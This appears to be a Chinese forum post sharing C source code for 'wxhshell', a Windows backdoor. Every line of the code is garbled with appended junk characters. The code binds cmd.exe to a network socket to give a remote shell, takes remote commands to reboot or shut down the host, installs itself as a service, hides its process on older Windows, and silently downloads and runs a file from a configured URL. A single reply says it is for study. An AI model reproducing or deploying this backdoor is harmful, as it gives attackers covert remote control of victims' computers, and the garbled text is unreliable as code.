  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#L.I  
  else 9O{b8=\}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E%&E<<nhZ  
  } s~b!3l`gu  
  else { @wTRoMHPQ  
5M= S7B3=  
    switch(cmd[0]) { Egm-PoPe  
  UNhM:!A  
  // 帮助 XJguw/[wm  
  case '?': { ,AuejMd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OlcWptM$  
    break; [E:-$R  
  } #+SdX[ N  
  // 安装 f eA(Rj  
  case 'i': { FV>xAU$  
    if(Install()) zz[[9Am!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HI!bq%TZ4  
    else )#0Llx!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #(dERET*  
    break; Vd+5an?  
    } 1vL$k[^&d  
  // 卸载 Z*kZUx7I<  
  case 'r': { z\6/?5D#v  
    if(Uninstall()) v>' mW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - * _"ZgE  
    else e*/ya8p?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :qxd s>Xm  
    break; InfUH8./t  
    } <^YZ#3~1T  
  // 显示 wxhshell 所在路径 F^}n7h=qk  
  case 'p': { zE_t(B(Q  
    char svExeFile[MAX_PATH]; zmp Q=%/H  
    strcpy(svExeFile,"\n\r"); .,( ,<  
      strcat(svExeFile,ExeFile); Z<~^(W7h  
        send(wsh,svExeFile,strlen(svExeFile),0); xOXCCf/  
    break; JrVBd hLr  
    } Nk/Ms:57y  
  // 重启  !#Hca  
  case 'b': { f')3~)"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }RY&f4&GV,  
    if(Boot(REBOOT)) a&~]77)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $jKeJn8,  
    else { ~zA{=|I2  
    closesocket(wsh); bcy( ?(  
    ExitThread(0); i4*!t.eI  
    } :fE*fU@  
    break; dL!K''24{  
    } ) bPF@'rF2  
  // 关机 x1ID6kI[{*  
  case 'd': { ?FRQ!R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vy+9Q5@W  
    if(Boot(SHUTDOWN)) w=H4#a?fc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L7qlvS Q  
    else { q{t"=@lX01  
    closesocket(wsh); ;q&\>u:  
    ExitThread(0); v__;oqN0  
    } rO`n S<G  
    break; kg_f;uk+  
    } ]0wmvTR  
  // 获取shell G ]mX+?  
  case 's': { Pf]O'G&F  
    CmdShell(wsh); AFcA5: ja  
    closesocket(wsh); dLek4q `l  
    ExitThread(0); Y)L\*+ >"[  
    break; "yCek  
  } 4)3!n*I  
  // 退出 V6ioQx=K#  
  case 'x': { xR, ;^R|C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7" wn0 24  
    CloseIt(wsh); ^(0tNX/XD  
    break; UVD::  
    } ?JD\pYg[/  
  // 离开 TIa`cU`  
  case 'q': { ^Y:Q%?uB/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )>LC*_v  
    closesocket(wsh); 4l?98  
    WSACleanup(); "Rp]2'?  
    exit(1); ,b@0Qa"  
    break; :l>T~&/98  
        } oLn| UWe_  
  } F*d{<  
  } DOWUnJ;5  
Y4Z?`TL  
  // 提示信息 "A:wWb<m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {fMrx1  
} ZtEHP`Iin  
  } .6 E7 R  
Iq\sf-1E  
  return; J 6S  
} 3RRZVc* ^  
^aZ Wu|p  
// shell模块句柄 fXw%2wg  
int CmdShell(SOCKET sock) nu$LWC-  
{ ,7M9f  
STARTUPINFO si; @ec QVk  
ZeroMemory(&si,sizeof(si)); zF]hf P0Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 't{=n[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !@/?pXt|  
PROCESS_INFORMATION ProcessInfo; 0{PK]qp7  
char cmdline[]="cmd"; US7hKNm.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _'AIXez7q  
  return 0; 5H 1(C#|  
} %4L|#^7:  
eS@RA2  
// 自身启动模式 HXdPKS4q  
int StartFromService(void) u(ZS sftat  
{ q{7s.m >  
typedef struct 66'TdF]"  
{ NE9e br K  
  DWORD ExitStatus; m2|0<P@k!  
  DWORD PebBaseAddress; [1nI%/</>  
  DWORD AffinityMask; >/bl r}5 H  
  DWORD BasePriority; DO03vN  
  ULONG UniqueProcessId; il-&d]AP  
  ULONG InheritedFromUniqueProcessId; )X^nzhZ2O"  
}   PROCESS_BASIC_INFORMATION; ~82jL%-u  
!Q7   
PROCNTQSIP NtQueryInformationProcess; 1|gP :t}  
syZ-xE]}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e-}PJ%!,T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RycEM|51V  
L8j,?u#  
  HANDLE             hProcess; ao-C9|2>NU  
  PROCESS_BASIC_INFORMATION pbi; KFV]2mFN  
|nt J+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pb{P[-f  
  if(NULL == hInst ) return 0; ldX]A#d.  
Y*}Sq|y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r>)\"U#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p-7dJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X2e|[MWkp  
ixS78KIr  
  if (!NtQueryInformationProcess) return 0; v;$^1I  
9M7P]$^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _+;x 4K;  
  if(!hProcess) return 0; QHM39Eu]  
GS{9MGl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qp=uiXs  
g]ihwm~  
  CloseHandle(hProcess); NfO0^^"  
}%1E9u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gvU6p[D  
if(hProcess==NULL) return 0; p5H Mg\hT  
c"z%AzUV'  
HMODULE hMod; U=yD!  
char procName[255]; iK#{#ebAoW  
unsigned long cbNeeded; f/c}XCH_h  
Sph+kiy|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^4fkZh  
E+2y-B)E  
  CloseHandle(hProcess); l1:j/[B=  
_ xC~44  
if(strstr(procName,"services")) return 1; // 以服务启动 f@}(<#  
lR(&Wc\j  
  return 0; // 注册表启动 )b7mzDp(  
} k@Tt,.];  
xl9l>k6,  
// 主模块 +|?c_vD  
int StartWxhshell(LPSTR lpCmdLine) Yx%%+c?.   
{ u<8Q[_E&  
  SOCKET wsl; Qd./G5CC  
BOOL val=TRUE; B';Ob  
  int port=0; J91`wA&r  
  struct sockaddr_in door; t}tKm  
=,'Z6?%p  
  if(wscfg.ws_autoins) Install(); S&Sf}uK  
lV 9q;!/1  
port=atoi(lpCmdLine); l}^#kHSyd  
at*=#?M1?  
if(port<=0) port=wscfg.ws_port; }cT}G;L'-  
9VByFQgM  
  WSADATA data; +{I\r|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d5\1-d_uz  
k Mo)4 Xp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7S`H?},sR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); la4 ,Z  
  door.sin_family = AF_INET; qWFg~s#+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W% [5~N  
  door.sin_port = htons(port); LZVO9e]  
kUt9'|9!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MH?B .2  
closesocket(wsl); T42g4j/l~  
return 1; $VA4% 9  
} W24bO|>D  
Kv]6 b2HT  
  if(listen(wsl,2) == INVALID_SOCKET) { {dwV-qz  
closesocket(wsl); $-RhCnE  
return 1; }D^Gt)   
} 'dzp@-\  
  Wxhshell(wsl); Em,!=v(*  
  WSACleanup(); + LwoBn>6  
Cf7\>U->  
return 0; bwJi[xF  
}'W^Ki$  
} o FLrSmY)E  
+ joE  
// 以NT服务方式启动 d eoM~r9s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )ta5y7np  
{ h+UscdU l  
DWORD   status = 0; 7gwZ9Fob  
  DWORD   specificError = 0xfffffff; r!^\Q7  
}gW/heUE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ".%LBs~$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lt4jnV2"a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |S{P`)z%f  
  serviceStatus.dwWin32ExitCode     = 0; aA`q!s.%A  
  serviceStatus.dwServiceSpecificExitCode = 0; ugB{2oqi  
  serviceStatus.dwCheckPoint       = 0; 1Q SIZoK7  
  serviceStatus.dwWaitHint       = 0; kZ9< j+.  
~8(X@~Tn*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^-u HdafP  
  if (hServiceStatusHandle==0) return; %g&,]=W\N  
V|\A?   
status = GetLastError(); C|\^uR0  
  if (status!=NO_ERROR) ib \[ ~rg  
{ nq f<NH3i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &ZN'Ey?  
    serviceStatus.dwCheckPoint       = 0; ~8t}*oV   
    serviceStatus.dwWaitHint       = 0; l;*lPRoW,  
    serviceStatus.dwWin32ExitCode     = status; \GvY`kt3  
    serviceStatus.dwServiceSpecificExitCode = specificError; AvE^ F1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8(5E<&JP  
    return; `^L<db^A  
  } \>Rwg=Lh  
.)> /!|i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N&APqT  
  serviceStatus.dwCheckPoint       = 0; sBtG}Mo)  
  serviceStatus.dwWaitHint       = 0; ~'J =!Xy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LGROEn<*d  
} P0ltN  
CQ.4,S}6'  
// 处理NT服务事件,比如:启动、停止 Y-q@~v Z]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5 ?~-Vv31s  
{ "42$AaS  
switch(fdwControl) ;b?+:L  
{ 1qj%a%R  
case SERVICE_CONTROL_STOP: >zg8xA1zL  
  serviceStatus.dwWin32ExitCode = 0; &]6K]sWJK{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kn#xY3W6  
  serviceStatus.dwCheckPoint   = 0; CS5jJi"pD3  
  serviceStatus.dwWaitHint     = 0; {]\uR-a(o  
  { N~5WA3xd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HwW[M[qA  
  } u45h{i-e  
  return; o|qeh<2=x  
case SERVICE_CONTROL_PAUSE: U.Chf9a -  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5u)^FIBj  
  break; {0vbC/?]  
case SERVICE_CONTROL_CONTINUE: EO/cW<uV'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RO$ @>vL  
  break; ( ssH=a  
case SERVICE_CONTROL_INTERROGATE: 1gShV ]2  
  break; 8U2 wH  
};  ,eeL5V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +%}5{lu_e  
} B N*,!fx  
3cfZ!E~^kc  
// 标准应用程序主函数 [wio/wc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ).+xcv   
{ t7oz9fSz=?  
O&gwr  
// 获取操作系统版本 9[p }.9/  
OsIsNt=GetOsVer(); ~I\r1Wj;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O3C)N I\i  
_"!{7e`Z  
  // 从命令行安装 |t65# 1  
  if(strpbrk(lpCmdLine,"iI")) Install(); :*P___S=  
oyN+pFVB:$  
  // 下载执行文件 ccN&h  
if(wscfg.ws_downexe) { ay:\P.`5)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [wy3Ld  
  WinExec(wscfg.ws_filenam,SW_HIDE); p#;dLM/EA  
} z<[.MH`ln  
<S8I"8{Mb  
if(!OsIsNt) { *M5$ h*;v  
// 如果时win9x,隐藏进程并且设置为注册表启动 2>MP:yY;K  
HideProc(); Eo { 1y  
StartWxhshell(lpCmdLine); XuFm4DEJ  
} }U?gKlLg  
else p21=$?k!;  
  if(StartFromService()) @%G'U&R{  
  // 以服务方式启动 D2TXOPH  
  StartServiceCtrlDispatcher(DispatchTable); SJ@8[n.x  
else yToT7 X7F7  
  // 普通方式启动 e1`)3-f  
  StartWxhshell(lpCmdLine); ;ad9{":J#B  
4('0f:9z+  
return 0; GwMUIevO_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五